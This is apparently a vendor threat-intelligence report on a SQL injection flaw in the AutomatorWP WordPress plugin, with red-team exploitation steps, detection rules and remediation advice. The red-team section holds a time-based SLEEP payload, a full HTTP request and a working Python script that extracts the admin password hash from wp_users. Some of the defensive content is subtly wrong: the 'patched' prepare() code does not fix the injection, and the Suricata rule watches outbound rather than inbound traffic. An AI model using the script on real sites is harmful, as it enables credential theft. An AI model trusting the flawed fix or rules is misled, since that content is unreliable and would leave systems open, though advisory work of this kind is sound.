CVE-2025-5487

Executive Summary

CVE-2025-5487 is a critical SQL Injection vulnerability discovered in the AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations for WordPress. The flaw resides in the field_conditions parameter, which is insufficiently sanitized and prepared before being used in SQL queries. This allows authenticated attackers with Administrator-level access (or lower, if the plugin is configured to allow it) to inject arbitrary SQL commands into existing queries, leading to potential data exfiltration, modification, or privilege escalation.

The vulnerability affects all versions up to and including 5.2.3. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the high CVSS score (7.2) and the potential for lateral movement within a compromised WordPress environment make this a high-priority issue for defenders.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or PHP core. The attack surface is limited to WordPress sites running the vulnerable plugin, and exploitation requires authenticated access (Administrator or lower, depending on plugin configuration).

CVSS Breakdown & Threat Level

CVSS Score: 7.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): High – The attacker must have Administrator-level access (or lower if the plugin is misconfigured).
• User Interaction (UI): None – No user interaction is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – The database can be disrupted or destroyed.

Threat Level: High. While the EPSS score is currently 0.0%, the potential for data breach and the high privileges required are offset by the fact that once an attacker gains admin access, they can pivot to full database compromise.

Deep Dive & Mechanics

The vulnerability is a classic time-based blind SQL injection in the field_conditions parameter. The plugin likely processes this parameter in a loop or conditional statement that builds a SQL query without proper parameterization or escaping.

Root Cause:

1. Insufficient Escaping: The field_conditions parameter is not properly escaped using $wpdb->prepare() or similar WordPress database abstraction methods.
2. Lack of Prepared Statements: The plugin constructs SQL queries by concatenating user-supplied input directly into the query string.

Attack Flow:

1. An authenticated attacker (Administrator or lower, if allowed) sends a crafted HTTP request to a vulnerable endpoint (e.g., an AJAX handler or admin page).
2. The field_conditions parameter contains a malicious SQL payload, such as:

   field_conditions[]=1 AND (SELECT IF(1=1,SLEEP(5),0))
   

3. The plugin concatenates this into an SQL query without sanitization.
4. The database executes the query, causing a time delay if the condition is true.
5. The attacker can then extract data character by character using time-based inference.

Example vulnerable code snippet (hypothetical):

$conditions = $_POST['field_conditions'];
foreach ($conditions as $condition) {
    $sql = "SELECT * FROM wp_posts WHERE post_status = 'publish' AND $condition";
    $results = $wpdb->get_results($sql);
}

Patched code (expected):

$conditions = $_POST['field_conditions'];
foreach ($conditions as $condition) {
    $sql = $wpdb->prepare("SELECT * FROM wp_posts WHERE post_status = 'publish' AND %s", $condition);
    $results = $wpdb->get_results($sql);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with AutomatorWP <= 5.2.3 installed and activated.
• Valid Administrator credentials (or lower, if plugin allows).

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a proxy (e.g., Burp Suite) to intercept requests when configuring automations. Look for POST requests containing field_conditions[].
2. Craft a time-based payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Cookie: [admin cookie]
   Content-Type: application/x-www-form-urlencoded
   
   action=automatorwp_save_condition&field_conditions[]=1 AND (SELECT IF(1=1,SLEEP(5),0))
   

3. Verify the delay: If the response takes 5 seconds longer than normal, the injection is successful.
4. Extract data: Use a script to iterate through characters:

   import requests
   import time
   
   url = "http://target.com/wp-admin/admin-ajax.php"
   cookies = {"wordpress_logged_in": "admin_cookie"}
   data_template = "action=automatorwp_save_condition&field_conditions[]=1 AND (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),%d,1)='%s',SLEEP(2),0))"
   
   charset = "abcdefghijklmnopqrstuvwxyz0123456789"
   extracted = ""
   for pos in range(1, 33):
       for char in charset:
           data = data_template % (pos, char)
           start = time.time()
           r = requests.post(url, data=data, cookies=cookies)
           elapsed = time.time() - start
           if elapsed > 1.5:
               extracted += char
               break
   print("Hash:", extracted)
   

Note: No public exploit code is available at this time. The above is a generic example.

Blue Team (Defensive)

Detection Steps:

1. Monitor for time-based anomalies: Look for HTTP requests that take significantly longer than normal (e.g., >2 seconds) to the same endpoint.
2. Audit plugin configuration: Ensure that only trusted administrators have access to the AutomatorWP settings.
3. Review database logs: Check for unusual SQL queries containing SLEEP() or BENCHMARK() functions.
4. Implement Web Application Firewall (WAF) rules: Block requests containing SLEEP, BENCHMARK, or UNION SELECT in the field_conditions parameter.

Honeypot Setup:

• Deploy a decoy WordPress instance with the vulnerable plugin and monitor for any exploitation attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /wp-admin/admin-ajax.php with action=automatorwp_save_condition and field_conditions[] containing SQL keywords (SLEEP, BENCHMARK, UNION, SELECT, IF).
• Unusually long response times (e.g., >2 seconds) for such requests.

Host IOCs:

• Presence of the automatorwp plugin directory in /wp-content/plugins/.
• Database entries in wp_options or wp_postmeta containing suspicious SQL fragments.
• WordPress user accounts with elevated privileges that were not created by legitimate administrators.

File IOCs:

• Modified plugin files (e.g., automatorwp/includes/conditions.php) containing backdoors or altered SQL logic.

Detection Engineering

YARA Rule

rule CVE_2025_5487_AutomatorWP_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting AutomatorWP field_conditions parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5487"
    strings:
        $s1 = "field_conditions" nocase
        $s2 = "SLEEP(" nocase
        $s3 = "BENCHMARK(" nocase
        $s4 = "UNION SELECT" nocase
        $s5 = "wp_users" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-5487 - AutomatorWP SQL Injection Attempt
id: 8f4a2b1c-3d5e-4f7a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects SQL injection attempts against AutomatorWP field_conditions parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=automatorwp_save_condition'
        cs-uri-query|contains: 'field_conditions[]'
        cs-uri-query|contains|any:
            - 'SLEEP('
            - 'BENCHMARK('
            - 'UNION SELECT'
            - 'wp_users'
    condition: selection
falsepositives:
    - Legitimate use of SLEEP() in custom SQL (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5487 - AutomatorWP SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=automatorwp_save_condition"; http_client_body; content:"field_conditions[]"; http_client_body; pcre:"/(SLEEP\(|BENCHMARK\(|UNION SELECT|wp_users)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict access to the plugin settings to only the most trusted administrators.
3. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the field_conditions parameter.

Long-term Fix:

• The vendor must release a patched version that uses $wpdb->prepare() or parameterized queries for all user-supplied input.
• Until then, consider replacing the plugin with an alternative automation tool.

Workaround:

• If the plugin cannot be disabled, modify the plugin code to add input validation:

  // In the vulnerable file, add:
  $conditions = $_POST['field_conditions'];
  $allowed_conditions = ['equals', 'contains', 'greater_than']; // Whitelist
  foreach ($conditions as $key => $condition) {
      if (!in_array($condition, $allowed_conditions)) {
          unset($conditions[$key]);
      }
  }
  

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.